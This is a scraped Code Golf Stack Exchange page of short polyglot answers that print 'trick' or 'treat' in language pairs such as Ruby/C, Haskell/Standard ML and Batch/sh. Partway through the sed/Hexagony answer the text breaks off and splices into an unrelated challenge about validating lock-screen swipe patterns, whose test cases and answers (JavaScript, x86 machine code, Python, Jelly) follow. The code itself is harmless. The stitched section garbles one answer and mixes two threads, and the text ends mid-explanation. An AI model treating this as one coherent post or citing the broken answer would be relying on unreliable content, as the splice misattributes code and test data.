April Fools challenge? Here's an answer with appropriately themed languages.\n```\n--<.<.<.<.<.$\nio.write(\"trick\")--+<~}~@+{+<\n```\n`#hell` is a subset of `LUA` which fortunately accepts `io.write` output calls. We use `LUA`'s `--` comments so that it only executes this fragment.\n`Agony` is a `Brainfuck` derivative, which has the particularity to have its code and working memory on the same tape. The first line only prints 5 characters (10 cells) from the end of the code segment, where I encoded `treat` as `Agony` commands. `LUA`'s comment opening `--` modifies the value of a cell which isn't used.\n[Answer]\n## SQL / Javascript, 54 bytes\n```\nselect('trick')\n--a;function select(){alert(\"treat\")}\n```\nSame approach as with my [QB/JS answer](https://codegolf.stackexchange.com/questions/97472/trick-or-treat-polyglot/97509#97509): First line has the SQL statement, the second line has a 'comment' for SQL and a NOP for JS. Then, we define SQL's `select` statement as a valid JS function.\n[Answer]\n# /Brainf..k/, 143 + 3 = 146 bytes\nThis answer requires the `-A` flag to output in ASCII for Brain-Flak and luckily Brainfuck doesn't care about that flag so it doesn't affect the output in Brainfuck.\n```\n(((((()(()()()){})({}){}){}){})+++++++[<+++<(((()()()())((((({}){}){}){}){}()))[][][][]())>>-])<[<++++>-]<.--.---------.------.>++[<++++>-]<.>>\n```\n[Try it Online!](http://brain-flak.tryitonline.net/#code=KCgoKCgoKSgoKSgpKCkpe30pKHt9KXt9KXt9KXt9KSsrKysrKytbPCsrKzwoKCgoKSgpKCkoKSkoKCgoKHt9KXt9KXt9KXt9KXt9KCkpKVtdW11bXVtdKCkpPj4tXSk8WzwrKysrPi1dPC4tLS4tLS0tLS0tLS0uLS0tLS0tLj4rK1s8KysrKz4tXTwuPj4&args=LUE)\n[Try it Online!](http://brainfuck.tryitonline.net/#code=KCgoKCgoKSgoKSgpKCkpe30pKHt9KXt9KXt9KXt9KSsrKysrKytbPCsrKzwoKCgoKSgpKCkoKSkoKCgoKHt9KXt9KXt9KXt9KXt9KCkpKVtdW11bXVtdKCkpPj4tXSk8WzwrKysrPi1dPC4tLS4tLS0tLS0tLS0uLS0tLS0tLj4rK1s8KysrKz4tXTwuPj4&args=LUE)\n## How this works\nThe only overlap between the syntax of Brain-Flak and Brainfuck are the characters `<>[]`. For brain-flak this mostly means the program has to ensure an even number of stack switches `<>`. And for Brainfuck this means we need to avoid infinite loops caused by use of the `[]` monad.\nThe Brain-Flak code is as follows:\n```\n(((((()(()()()){})({}){}){}){})[<<(((()()()())((((({}){}){}){}){}()))[][][][]())>>])<[<>]<>[<>]<>>\n```\nAside from the `[<<...>>]` bit in the middle and the `<[<>]<>[<>]<>>` at the end this code is pretty par for the course as far as Brain-Flak programs go. The negative around the zero (`[<...>]`) is there to create a loop for Brainfuck. The inner `<...>` is used to move the Brainfuck to an empty cell before it encounters the `[][][][]` which would loop infinitely otherwise.\nThe Brainfuck code is as follows:\n```\n+++++++[<+++<[][][][]>>-]<[<++++>-]<.--.---------.------.>++[<++++>-]<.>>\n```\nAside from the aforementioned bits this is also a pretty standard program so I will spare you the details.\n[Answer]\n# [><>](https://esolangs.org/wiki/Fish) / [Fishing](https://esolangs.org/wiki/Fishing), 38 bytes\n```\n_\"kcirt\"ooooo;\n[+vCCCCCCCC\n `treat`N\n```\nFor the sake of making a `><>` / `Fishing` polyglot.\nIt's my first piece of `Fishing` code after having played for a long time with `><>`. \nMy first impression : as in nature, the fisherman has less physical capabilities than its pray but makes up for it with its tool !\nHere the code is extremely simple : `><>` will only execute the first line, where `_` is a vertical mirror and has no effect since the fish starts swimming horizontally. It just pushes `trick` on the stack then print it before stopping. \nFor `Fishing`, the `_` instructs to go down. The fisherman will follow the deck that is the second line while catching the characters of the third line. These will push `treat` on the tape then print it, stopping as it reaches the end of the deck.\nIf erroring out is allowed, you could go down to 35 bytes with the following code which will throw an error when run as `><>` once the `trick` is printed off the stack :\n```\n_\"kcirt\">o<\n[+vCCCCCCCC\n `treat`N\n```\n---\nYou should also check my themed languages answers, [#hell / Agony](https://codegolf.stackexchange.com/questions/97472/trick-or-treat-polyglot/97533#97533) and [evil / ZOMBIE](https://codegolf.stackexchange.com/questions/97472/trick-or-treat-polyglot/97542#97542) !\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E)/[Actually](https://github.com/Mego/Seriously), 10 bytes\n```\n\"trick\"’®Â\n```\n**Explanation**\n**05AB1E**\n```\n\"trick\" # push the string \"trick\"\n ’®Â # push the string \"treat\"\n # implicitly print top of stack (treat)\n```\n[Try it online](http://05ab1e.tryitonline.net/#code=InRyaWNrIuKAmcKuw4I&input=)\n**Actually**\n```\n\"trick\" # push the string \"trick\"\n ’®Â # not recognized commands (ignored)\n # implicit print (trick)\n```\n[Try it online](http://actually.tryitonline.net/#code=InRyaWNrIuKAmcKuw4I&input=) \n[Answer]\n# [Haskell](https://www.haskell.org/) / [Standard ML](https://en.wikipedia.org/wiki/Standard_ML), 56 bytes\n```\nfun putStr x=print\"treat\";val main=();main=putStr\"trick\"\n```\n**Haskell view**\nThe semicolons allow multiple declarations in one line and act like linebreaks, so we get\n```\nfun putStr x=print\"treat\"\nval main=()\nmain=putStr\"trick\"\n```\nA Haskell program is executed by calling the `main` function, so in the last row `putStr\"trick\"` is executed which just prints `trick`. \nThe first two rows are interpreted as function declarations following the pattern ` ... = `. So in the first row a function named `fun` is declared which takes two arguments named `putStr` and `x` and the function body `print\"treat\"`. This is a valid Haskell function with type `fun :: t -> t1 -> IO ()`, meaning it takes an argument of an arbitrary type `t` and a second one of some type `t1` an then returns an IO-action. The types `t` and `t1` don't matter as the arguments aren't used in the function body. The IO-action type results from `print\"treat\"`, which prints `\"treat\"` to StdOut (notice the `\"`, that's why `putStr` instead of `print` is used in `main`). However as it's only a function declaration, nothing is actually printed as `fun` is not called in `main`. \nThe same happens in the second line `val main=();`, a function `val` is declared which takes an arbitrary argument named `main` and returns *unit*, the empty tuple `()`. It's type is `val :: t -> ()` (Both the value and the type of *unit* are denoted with `()`).\n[Try it on Ideone.](http://ideone.com/MYQF7C)\n---\n**Standard ML view**\n[Standard ML](https://en.wikipedia.org/wiki/Standard_ML) is a primarily functional language with a syntax related to, but not the same as Haskell. In particular, function declarations are prefixed with the keyword `fun` if they take any arguments, and the keyword `val` if they don't. Also it's possible to have an expression at top level (meaning not inside any declaration) which is executed when the program is run. (In Haskell writing `1+2` outside a declaration throws a `naked expression at top level`-error). Finally the symbol for testing equality is `=` instead of `==` in Haskell. (There are many more differences, but those are the only ones that matter for this program.) \nSo SML sees two declarations\n```\nfun putStr x=print\"treat\";\nval main=();\n```\nfollowed by an expression\n```\nmain=putStr\"trick\"\n```\nwhich is then evaluated. To determine whether `main` equals `putStr\"trick\"`, both sides have to be evaluated and both must have the same type, as SML (as well as Haskell) is statically typed.\nLet us first have a look at the right side: `putStr` is not a library function in SML, but we declared a function named `putStr` in the line `fun putStr x=print\"treat\";` - it takes an argument `x` (this is the string `\"trick\"` in our case) and immediately forgets it again, as it does not occur in the function body. Then the body `print\"treat\"` is executed which prints `treat` (without enclosing `\"`, SML's `print` is different from Haskell's `print`). \n`print` has the type `string -> unit`, so `putStr` has the type `a -> unit` and therefore `putStr\"trick\"` has just type `unit`. In order to be well-typed, `main` must have type `unit` too. The value for *unit* is in SML the same as in Haskell `()`, so we declare `val main=();` and everything is well-typed.\n[Try it on codingground.](http://www.tutorialspoint.com/execute_smlnj_online.php?PID=0Bw_CjBb95KQMUVp1b0JYWWRRNmc) \nNote: The output in the console is\n```\nval putStr = fn : 'a -> unit \nval main = () : unit \ntreatval it = true : bool\n```\nbecause in [SML\\NJ](http://smlnj.org/) the value and type of every statement is displayed after each declaration. So first the types of `putStr` and `main` are shown, then the expressions gets evaluated causing `treat` to be printed, then the value of the expression (`true` as both sides of `=` are `()`) is bound to the implicit result variable `it` which is then also displayed.\n[Answer]\n# Ruby / C, ~~64~~ ~~62~~ ~~51~~ 48 bytes\n```\n#define tap main()\ntap{puts(0?\"trick\":\"treat\");}\n```\n### What Ruby sees:\n```\ntap{puts(0?\"trick\":\"treat\");}\n```\nThe `tap` method takes a block and executes it once. It's a short identifier that we can create a `#define` macro for in C. It also allows us to put a braces-enclosed block in the shared code, even though Ruby doesn't allow `{}`s in most contexts.\nThe only falsy values in Ruby are `false` and `nil`. In particular, 0 is truthy. Thus, Ruby will print \"trick.\"\n### What C sees (after the pre-processor):\n```\nmain(){puts(0?\"trick\":\"treat\");}\n```\n0 is falsy in C, so C will print \"treat.\"\n2 bytes saved thanks to daniero.\n[Answer]\n## QBasic / JavaScript, ~~51~~ 44 bytes\n```\n'';PRINT=a=>{alert(\"Treat\")}\nPRINT(\"Trick\")\n```\nIn QBasic, it prints the second line and doesn't execute the first line because it's believed to be a comment (thank you '). In JS, it calls the function PRINT, which is defined on the first line, right after the JS NOP `'';`.\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly) / [05AB1E](https://github.com/Adriandmen/05AB1E), 14 bytes\n```\n0000000: FE 22 74 52 69 63 6B 22 3F 37 29 FB ED 35 .\"tRick\"?7)..5\n```\nA fun one using Jelly's string compression.\n**Jelly: treat**\n```\n“\"tRick\"?7)»ḣ5\n```\n[Try it online!](https://tio.run/##y0rNyan8//9RwxylkqDM5Gwle3PNQ7sf7lhs@v8/AA \"Jelly – Try It Online\")\n**05AB1E: trick**\n```\nþ\"tRick\"?7)ûí5\n```\n[Try it online!](https://tio.run/##MzBNTDJM/f//8D6lkqDM5Gwle3PNw7sPrzX9/x8A \"05AB1E – Try It Online\")\n**How it works**\nIn Jelly `“\"tRick\"?7)»` is a compressed string that returns `'Treatment dormy/ Orly awry'`. `ḣ5` takes the first five characters, printing `Treat`\nIn 05AB1E `þ` doesn't affect the program. `\"tRick\"` is a literal string. `?` prints this string then the rest of the program (`7)ûí5`) doesn't have any effect either.\nI used [this](https://tio.run/##Dc9nV5JhGAfwr2I0bS@zrbazbXsPs0Jp27B1bh4RUbMBVKhADEVRVDYP03OuPw@dk@fchz6C1xd54t3v7a@zw2Tq0XVjMysRuFqX8kM1sDmp6zoLt6G7zdjeZWhqrKf8khps0P94/tplTMZlQiZlSqZlRqp11XhVrRaqxX@KdEindMmsDMowD/jYNsi2YbZ5WTGzorDSy4qFlT5WrHXLDMtXrFy1ek392nXrN2zctHnL1m3bG3Y07ty1e8/effubmlsOHDx0@MjRY8dbT5w8dfrM2XNt5y9cvHT5ytVr12/cvHX7zt177fc7Hjx8ZOzsMj1@8vTZ8xcvu1@9fvO25937Dx8/VVK1hhxjMVqxs/CyCLHwsfAvWllEtZqymr1s1YqVdFmwcLEYqW1ZeFgEWDhYOBfdbAlofhY5zVHu10qaWjaTnwIUpHGaoBBN0hSFaZpmKCLzNEfzFKUYxSlBSUpRmjKkUpZylKcCFalECxAwQ0EvLOiDFf2wYQCDGMJnDOMLvuIbvsMOB5z4gZ/4BRdGMIoxuOGBF7/hgx8BBDGOCYQwiSmEMY0ZRDCLOcwjihjiSCCJFNLIQEUWOeRRQBElLPwH) to convert from Jelly's code page to 05AB1E's code page. [This](https://tio.run/##DdHnUlNRGEbhW8FYsTfEDtjFjr0XBA3EjgXb7BxCCCCWJGqAJKZAIBAgPSeVme/NiTMysydegt@NHPPv@btmdXWYTL26bmxmJcLm5L/8cA1wteq6jpKhp83Y3m1oaqxHHnMN@m/PH7uMybhMyKRMybTMSLWuGq@q1UK1@FeRDumULpmVQRnmQR/bhtg2wjYvK2ZWFFb6WLGw0s@KtW6ZYfmKlatWr6lfu279ho2bNm/Zum17w47Gnbt279m7b39Tc8uBg4cOHzl67HjriZOnTp85e67t/IWLly5fuXrt@o2bt27fuXuv/X5H54OHxq5u06PHT54@e/6i5@Wr12963757/@FjJVWLkOMsxip2Fl4WIRY@Fv4lK4uoVlNWs5etWrGSLgsWLhajLNwsPCwCLBwsnEtutgQ0P4uc5igPaCVNLZvJTwEK0gRNUoimaJrCNEOzFJF5mqcFilKM4pSgJKUoTRlSKUs5ylOBilSiRQiYoaAPFvTDigHYMIghDOMTRvAZX/AV32CHA058xw/8hAujGMM43PDAi1/wwY8AgpjAJEKYwjTCmMEsIpjDPBYQRQxxJJBECmlkoCKLXG1bAUWUsPgf) does the reverse in case anyone is interested.\nJelly code page is [here](https://github.com/DennisMitchell/jelly/wiki/Code-page).\n05AB1E code page is [here](https://github.com/Adriandmen/05AB1E/wiki/Codepage).\n[Answer]\n# [ShapeScript](http://github.com/DennisMitchell/shapescript) / [Foo](http://esolangs.org/wiki/Foo), 13 bytes\n```\n'trick'\"treat\n```\n**Try it online!** [trick](http://shapescript.tryitonline.net/#code=J3RyaWNrJyJ0cmVhdA&input=) | [treat](http://foo.tryitonline.net/#code=J3RyaWNrJyJ0cmVhdA&input=)\n### How it works\nShapeScript is parsed character by character. When EOF is hit without encountering a closing quote, nothing is ever pushed on the stack. `'trick'` does push the string inside the quotes, which is printed to STDOUT implicitly.\nFoo doesn't have any commands assigned to the characters is `'trick'`, so that part is silently ignored. It does, however, print anything between double quotes immediately to STDOUT, even if the closing quote is missing.\n[Answer]\n## Ruby / Perl, 21 bytes\n```\nprint\"trick\"%1||treat\n```\n### Perl\nCalculates `\"trick\" % 1` which is `0 % 1` so the `||` sends `treat` to `print` instead, since Perl accepts barewords.\n### Ruby\nFormats the string `\"trick\"` with the argument `1`, which results in `\"trick\"` which is truthy, so the `||` isn't processed.\n[Answer]\n# [MATL](https://github.com/lmendo/MATL) / [CJam](https://sourceforge.net/projects/cjam/), 17 bytes\n```\n'TRICK'%];\"TREAT\"\n```\nIn MATL this [outputs](http://matl.tryitonline.net/#code=J1RSSUNLJyVdOyJUUkVBVCI&input=) `TRICK`. In CJam it [outputs](http://cjam.tryitonline.net/#code=J1RSSUNLJyVdOyJUUkVBVCI&input=) `TREAT`.\n## Explanation\n### MATL\n```\n'TRICK' Push this string\n%];\"TREAT\" Comment: ignored\n Implicit display\n```\n### CJam\n```\n'T Push character 'T'\nR Push variable R, predefined to empty string\nI Push variable I, predefined to 18\nC Push variable C, predefined to 12\nK Push variable K, predefined to 20\n'% Push character '%'\n] Concatenate stack into an array\n; Discard\n\"TREAT\" Push this string\n Implicit display\n```\n[Answer]\n# Objective-C / C, 50 bytes\n```\nputs(){printf(\"trick\");}main(){printf(\"treat\\n\");}\n```\nObjective-C got candy and [prints treat](http://ideone.com/Hdt3fO), but C didn't and [prints trick](http://ideone.com/eRC6M2).\n### How it works\nI don't know a lot about **Objective-C**, but it does what we'd reasonably expect in this situation. The re-definition of `puts` doesn't affect the output since we never call the function, and `main` prints **treat** and a linefeed to STDOUT.\nYou might expect **C** to do the same, but at least gcc 4.8, gcc 5.3, and clang 3.7 don't.\nSince we do not need the *real* **printf** (which takes a format string and additional arguments) and the string to be printed ends with a linefeed, we can use **puts** instead. **puts** is slightly faster than **printf** (which has to analyze its arguments before printing), so unless we redefine the function **printf** as well, the compiler optimizes and replaces the call to **printf** with a call to **puts**. Little does the compiler know that calling `puts` with argument `\"treat\"` will print **trick** instead!\nNot including **stdio.h** is crucial here, since defining **puts** would require using the same type it has in the header file (`puts(const char*)`).\nFinally, it is noteworthy that the call to **printf** in **puts** passes a string *without* a trailing linefeed. Otherwise, the compiler would \"optimize\" that call as well, resulting in a segmentation fault.\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly) / [pl](http://github.com/quartata/pl-lang), 12 bytes\n```\n0000000: 74 72 65 61 74 0a 7f fe 00 ba 49 fb treat.....I.\n```\nThis is the program displayed using [Jelly's code page](https://github.com/DennisMitchell/jelly/wiki/Code-page).\n```\ntreatµ\n“¡ṾI»\n```\n[Try it online!](http://jelly.tryitonline.net/#code=dHJlYXTCtQrigJzCoeG5vknCuw&input=)\nThis is the program displayed using [code page 437](https://en.wikipedia.org/wiki/Code_page_437#Characters).\n```\ntreat\n⌂■␀║I√\n```\n[Try it online!](http://pl.tryitonline.net/#code=dHJlYXQK4oyC4pag4pCA4pWRSeKImg&input=)\nBoth programs have been tested locally with the same 12 byte file, so this is a proper polyglot.\n### How it works\nIn Jelly, every line defines a *link* (function); the last line defines the *main link*, which is executed automatically when the program is run. Unless the code before the last `7f` byte (the linefeed in Jelly's code page) contain a parser error (which would abort execution immediately), they are simply ignored. The last line, `“¡ṾI»` simply indexes into Jelly's dictionary to fetch the word **trick**, which is printed implicitly at the end of the program.\nI don't know much about pl, but it appears that the interpreter only fetches one line of code and ignores everything that comes after it. As in Perl, barewords are treated as strings, so `treat` prints exactly that.\n[Answer]\n## Batch/sh, 30 bytes\n```\n:;echo Treat;exit\n@echo Trick\n```\nExplanation. Batch sees the first line as a label, which it ignores, and executes the second line, which prints Trick. The @ suppresses Batch's default echoing of the command to stdout. (Labels are never echoed.) Meanwhile sh sees the following:\n```\n:\necho Treat\nexit\n@echo Trick\n```\nThe first line does nothing (it's an alias of `true`), the second line prints Treat, and the third line exits the script, so the @echo Trick is never reached.\n[Answer]\n# sed / Hexagony 32 bytes\n```\n/$/ctrick\n#$@$a false \n12 -> true \n13 -> false \n16 -> true \n31 -> false \n33 -> false \n137 -> false \n582 -> true \n519 -> true \n1541 -> false \n12357 -> true \n15782 -> true \n19735 -> false \n42631 -> true \n157842 -> true \n167294385 -> true \n297381645 -> false \n294381675 -> true\n```\nThis is [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\"), so the fewest number of bytes wins.\n \n[Answer]\n# JavaScript (ES6), 64 bytes\nTakes input as an array of numbers. Falsy values are **0** or **NaN**. Truthy values are strictly positive integers.\n```\na=>a[p=1]*a.every(n=>a[p=a[n&p&p*n%5<0|~(p-=n)==9&&p/2]&&-n]^=p)\n```\n[Try it online!](https://tio.run/##dY9NTsMwEIX3PkU2@KeaBOLYpZFqlpyAnTGSVVJoldpWUipVQlw9WDIm7aK7N9/Mm3mztyc7boZdOJbOv3fTVk1WPVkdVG0WtupO3XCmLhGrHQ44LNydXD98/9BQKseUajEO99xgXDrzpgKbNt6Nvu@q3n9Qol@Gr@Pn2RCGLrlGRaFr4AaSWCYhYZWZhBra3ObQgITHXEY5D0ZzLDm0IOLUCmTCIqJlBPW1SWTbbEgLpEEGVQcb6JZVe79zlBSEMXQVm7w6/Wz78cY/@VSTxP/xJpPYuvxCzOnaGKHJ2flfmbKJW9mmXw \"JavaScript (Node.js) – Try It Online\")\n## How?\n### Preamble\nTwo digits are vertically, horizontally or diagonally opposed if:\n* they are both odd, different from each other and different from 5 (figure 1)\n* OR they are both even and their sum is 10 (figure 2)\n[![opposed digits](https://i.stack.imgur.com/GEa2y.png)](https://i.stack.imgur.com/GEa2y.png)\nBesides, the digit standing between two opposed digits **n** and **p** is equal to **(n + p) / 2**.\n### Formatted source code\n```\na =>\n // force a falsy result if a[1] is undefined\n a[p = 1] *\n // walk through all values n in a[]\n a.every(n =>\n // access either a[-n] or a[undefined]\n a[\n // set p to either -n or undefined\n p =\n // read either a[0] or a[in_between_digit]\n a[\n n & p & p * n % 5 < 0 | ~(p -= n) == 9\n && p / 2\n ]\n && -n\n ]\n // toggle the flag\n ^= p\n )\n```\n### Keeping track of previous digits\nFlags for visited digits are stored at negative indices in the input array **a**, so that they don't collide with its original elements.\n* If **p** is set to **-n**:\nIf the current digit **n** was not previously selected, `a[-n] ^= -n` will set the flag and let the `every()` loop go on with the next iteration. Otherwise, it will clear the flag and force the loop to fail immediately.\n* If **p** is set to **undefined**:\n`a[undefined] ^= undefined` results in **0**, which also forces the loop to fail.\n### Detecting opposed digits\nThe following expression is used to test whether the current digit **n** and the previous digit **-p** are opposed digits, as defined in the preamble:\n```\nn & p & ((p * n) % 5 < 0) | ~(p -= n) == 9\n```\nwhich is equivalent to:\n```\nn & p & ((p * n) % 5 < 0) | (p -= n) == -10\n```\n*Note: In JS, the result of the modulo has the same sign as the dividend.*\nIt can be interpreted as:\n```\n(n is odd AND -p is odd AND (neither -p or n is equal to 5)) OR (n + -p = 10)\n```\nTherefore, this expression returns **1** if and only if **n** and **-p** are opposed digits *or* they are the same odd digit. Because a digit can't be selected twice, this latter case is correctly taken care of anyway.\nIf this expression returns **1**, we test **a[p / 2]** (where **p** is now equal to the negated sum of the digits) in order to know whether the 'in-between digit' was previously visited. Otherwise, we test **a[0]** which is guaranteed to be truthy.\n### About the first iteration\nThe first iteration is a special case, in that there is no previous digit and we want it to be unconditionally successful.\nWe achieve that by initializing **p** to **1**, because for any **n** in **[1 .. 9]**:\n* `(1 * n) % 5` can't be negative\n* `~(1 - n)` can't be equal to 9\n---\n# Original answer, 90 bytes\n*Removed from this post so that it doesn't get too verbose. You can [see it here](https://codegolf.stackexchange.com/revisions/155585/9).*\n[Answer]\n# x86 32-bit machine code, ~~62~~ 60 bytes\nHexdump:\n```\n33 c0 60 8b f2 33 db 99 80 f9 02 72 2d ad 50 0f\nab c2 72 25 3b c3 77 01 93 2b c3 d1 e8 72 14 68\n92 08 0e 02 0f a3 5c 04 ff 5f 73 07 03 d8 0f a3\nda 73 06 5b e2 d7 61 40 c3 58 61 c3\n```\nIt receives the length of the list in `ecx` and a pointer to the first element in `edx`, and returns the result in `al`:\n```\n__declspec(naked) bool __fastcall check(int length, const int* list)\n```\nThere are 8 lines that contain a node in the middle:\n```\n1 - 3\n4 - 6\n7 - 9\n1 - 7\n2 - 8\n3 - 9\n1 - 9\n3 - 7\n```\nI grouped them according to the difference between the bigger and the smaller number.\n```\nDifference 2: 3 lines (starting at 1, 4 or 7)\n 1 - 3\n 4 - 6\n 7 - 9\nDifference 4: 1 line (starting at 3)\n 3 - 7\nDifference 6: 3 lines (starting at 1, 2 or 3)\n 1 - 7\n 2 - 8\n 3 - 9\nDifference 8: 1 line (starting at 1)\n 1 - 9\n```\nThen, I converted that to a 2-D lookup table indexed by half-difference and smaller number:\n```\n76543210\n--------\n10010010 - half-difference 1\n00001000 - half-difference 2\n00001110 - half-difference 3\n00000010 - half-difference 4\n```\nThis makes a \"magic\" bitmap of 32 bits. To index it, the code pushes it into the stack. Then, it extracts one byte using one index, and from that byte, it extracts one bit using the other index. All this using one instruction:\n```\nbt byte ptr [esp + eax - 1], ebx; // -1 because half-difference is 1-based\n```\nIf the bitmap indicates that there is a node in the middle, it's easy to calculate - add half the difference to the smaller number.\nAssembly source:\n```\n xor eax, eax; // prepare to return false\n pushad; // save all registers\n mov esi, edx; // esi = pointer to input list\n xor ebx, ebx; // ebx = previously encountered number = 0\n cdq; // edx = bitmap of visited numbers = 0\n cmp cl, 2; // is input list too short?\n jb bad_no_pop; // bad!\nagain:\n lodsd; // read one number\n push eax;\n bts edx, eax; // check and update the bitmap\n jc bad; // same number twice? - bad!\n cmp eax, ebx; // sort two recent numbers (ebx = minimum)\n ja skip1;\n xchg eax, ebx;\nskip1:\n // Check whether the line crosses a node\n sub eax, ebx; // calculate half the difference\n shr eax, 1;\n jc skip_cross; // odd difference? - no node in the middle\n push 0x020e0892;// push magic bitmap onto stack\n bt byte ptr [esp + eax - 1], ebx; // is there a node in the middle?\n pop edi;\n jnc skip_cross; // no - skip the check\n add ebx, eax; // calculate the node in the middle\n bt edx, ebx; // was it visited?\n jnc bad; // no - bad!\nskip_cross:\n pop ebx;\n loop again;\n // The loop was finished normally - return true\n popad; // restore registers\n inc eax; // change 0 to 1\n ret; // return\n // Return false\nbad:\n pop eax; // discard data on stack\nbad_no_pop:\n popad; // restore registers\n ret; // return\n```\n[Answer]\n# [Python 2](https://docs.python.org/2/), ~~140~~ ~~131~~ ~~114~~ ~~104~~ 99 bytes\n-2 bytes thanks to [Jonathan Frech](https://codegolf.stackexchange.com/users/73111/jonathan-frech) \n-5 bytes thanks to [Chas Brown](https://codegolf.stackexchange.com/users/69880/chas-brown)\n```\nv={0};k=input()\nfor l,n in zip(k,k[1:])or q:(2**n+~2**l)%21%15%9==5>1}==v>q;v|={l};n in v>q\n```\n[Try it online!](https://tio.run/##TU7LboMwELzzFRYSAhJXqnmkAWpu6bG99BZxoNQRCMcQ19BSSn@dLg@lucx6ZjyzW3cqr4QzZtU7o7qujy3t74eopIWoG2XZ2qmSiGOBCoG@i9oqcXkkYWKDegktZ7MR219AbhsOMYhvBJT6j@1dz7cijslAaRtfovaH9nyI5hLgI@zRPvOCM/QqGxZqCCnZTQMh9sUyNB0zs1oWQiFTyUblnalNdsZqhQ4vTwcpK7lk3iRLy3/zOT2zG3ftOKX8g3XmeCTYSTTAHaCP9ytzsIt9/DC/Ya66B/oOHHKje0tiVtwZA8Dlj7sq7rXJW7MBZGFD8gc \"Python 2 – Try It Online\")\n## Explanation:\n```\n# full program, raising a NameError for invalid input\nv={0} # set of visited nodes\nk=input() # load pattern\n# iterate through adjacent pairs, if there is no pair, raise a NameError\nfor l,n in zip(k,k[1:])or q:\n # detect moves skipping over nodes, details below\n (2**n + ~2**l) % 21 % 15 % 9 == 5 < v - {l+n >> 1} == v > q\n v |= {l} # add the last node to the set of visited nodes\n n in v > q # if the current node was previously visited, raise a NameError\n```\n[Try it online!](https://tio.run/##bVNNc9owEL37V7yB6QCJy5SvtDA1t/TYXnrLcFDsBVSE5MiyKU3pX6cr2Xwkg2e8wm8/3tPuku/d2ujhMTUZJa1W69jGslQKuTUrK7YxrJCF1CsIfBdberTWWCz5lboSSmZ85qWLquT10wFXTxsFOZglKk53lEEzQRFtkhDf7V3ilBEZcuEcWR21wcFWOIJbW1Ou1hDZL5GSdhwibRFDLtlFliALrhnQWiRdS4y8RBVrloc/Mu9u4s3TYLboMfoyizxtRo5Sh62pqECxkXnub8lftpYa@wghVYFnUmbHOd3h3Z3GPf7xqXr4gOGAzWDCZookwQRfUeEjXtW9xnyOwcGjFeZ44ewKfxN2Hc73FlnmbwIlChco4UwAbjYOUEig3zfYx6eltb5B1zVCUaOJ80IPgoomr@7g27SdKHjkVElTFmp/4r7R2CPvSLRbS0X4aUvyvXR27w@AflMKv0hniR4pwzApOML4pEMmM91xdfUMQqPeq36/HwrlVrKwjrOlW@87vhB7QpGwPUFt7Yw8a0q5uyicXV3RazmRXO3vO56lUIWnuckTnBeaxx/fGpaaZscEJNI11cMknfnZXUqcqJ45avPm/xGoyG6lFk2HlDH58WkQDxcR2we2k/hL8zWMR/Ek/hx@89ngY8Yf2DO4wsd1RkBGwU7Z1jGjBhmdK42b3CnnMsPiPw \"Python 2 – Try It Online\")\nOnly 8 pairs of nodes have a node in between them. A pair of nodes can be represented as a single integer by the formula `2^a-2^b-1`. This number can be shortened by repeated modulo:\n```\na b 2^a-2^b-1 (2^a-2^b-1)%21%15%9\n1 3 -7 5\n1 7 -127 5\n1 9 -511 5\n2 8 -253 5\n3 1 5 5\n3 7 -121 5\n3 9 -505 5\n4 6 -49 5\n6 4 47 5\n7 1 125 5\n7 3 119 5\n7 9 -385 5\n8 2 251 5\n9 1 509 5\n9 3 503 5\n9 7 383 5\n```\n`(2**n+~2**l)%21%15%9==5` first checks if such a pair is present, then `v-{l+n>>1}==v` tests whether the node in between, which is given by `(a+b)/2`, was not visited yet and `q` raises a NameError. By using chained comparison between these pairs, the next comparison is only executed when the previous returned `True`.\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), ~~24 22 19 18~~ 17 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)\n-2 since we are no longer required to handle an empty list \n-1 switching from join, `j@`, to concatenate, `;` (the missed item does not *need* to be encountered in the middle for the method employed, being at the start of the trio is fine) \n-2 switching from `P¬aSH` to `oSH`(OK to have two results since we flatten, half of `1` is `0.5` which is filtered out anyway, and having multiple equal results has no affect on the method employed either) \n-1 Thanks to Mr. Xcoder (0-indexed input is allowed) \n-1 using the (newer) invariance quick, `Ƒ`, and filter-keep quick alias, `Ƈ`.\n```\nd3ZIỊoSH;µƝFḞƑƇQ⁼\n```\nA monadic link taking a list of integers in `[0,8]` and returning a truthy value (`1`) if legal and a falsey value (`0`) if not.\n**[Try it online!](https://tio.run/##ATQAy/9qZWxsef//ZDNaSeG7im9TSDvCtcadRuG4nsaRxodR4oG8////WzMsNCw3LDEsMiw4LDNd \"Jelly – Try It Online\")** or see a [test-suite](https://tio.run/##y0rNyan8/z/FOMrz4e6u/GAP60Nbj811e7hj3rGJx9oDHzXu@X@4/VHTmqN7HI5OerhzBpDpDcSR//9HRxvE6kQb6BgBSSMdAzBpBBHRMQPTJjrGOhA1FjpmQFETMNtQxxQobg4Ug6kzBKtEEQGTpkDSBChuCFUFNAFushlU3BhsnhHUHoi4MVyHKYrJsQA \"Jelly – Try It Online\").\n### How?\nLooks at each adjacent pair of 0-indexed nodes in the input list. If the integer division by three of the two differs by 2 they are on the top and bottom rows, if the modulo by three of the two differs by 2 they are in the left and right columns. The sum of such pairs divided by two is either the 0-indexed mid-node of a three-node-line or a non-integer value -- so these values are first inserted in-front of the 0-indexed pair and then any bogus nodes (like `0.5` or `3.5`) are removed, the resulting list of lists is flattened and then de-duplicated (to yield order-preserved, unique entries) and finally compared to the input - for a legal swipe all of this will end up being a no-op while illegal ones will add missing mid-nodes and/or remove duplicate nodes (note that no special casing is required for an input list of length 1 since it has no adjacent pairs):\n```\nd3ZIỊoSH;µƝFḞƑƇQ⁼ - left input is a list of integers e.g. [3,4,7,1,2,8,3]\n µƝ - perform the chain to the left for adjacent pairs:\n - e.g. for [a,b] in: [3,4] [4,7] [7,1] [1,2] [2,8] [8,3]\nd3 - divmod by 3 [[1,0],[1,1]] [[1,1],[2,1]] [[2,1],[0,1]] [[0,1],[0,2]] [[0,2],[2,2]] [[2,2],[1,0]]\n Z - transpose [[1,1],[0,1]] [[1,2],[1,1]] [[2,0],[1,1]] [[0,0],[1,2]] [[0,2],[2,2]] [[2,1],[2,0]]\n I - differences [0,1] [1,0] [-2,0] [0,1] [2,0] [-1,-2]\n Ị - abs(v)<=1 [1,1] [1,1] [0,1] [1,1] [0,1] [1,0]\n S - sum (of [a,b]) 7 11 8 3 10 11\n o - OR 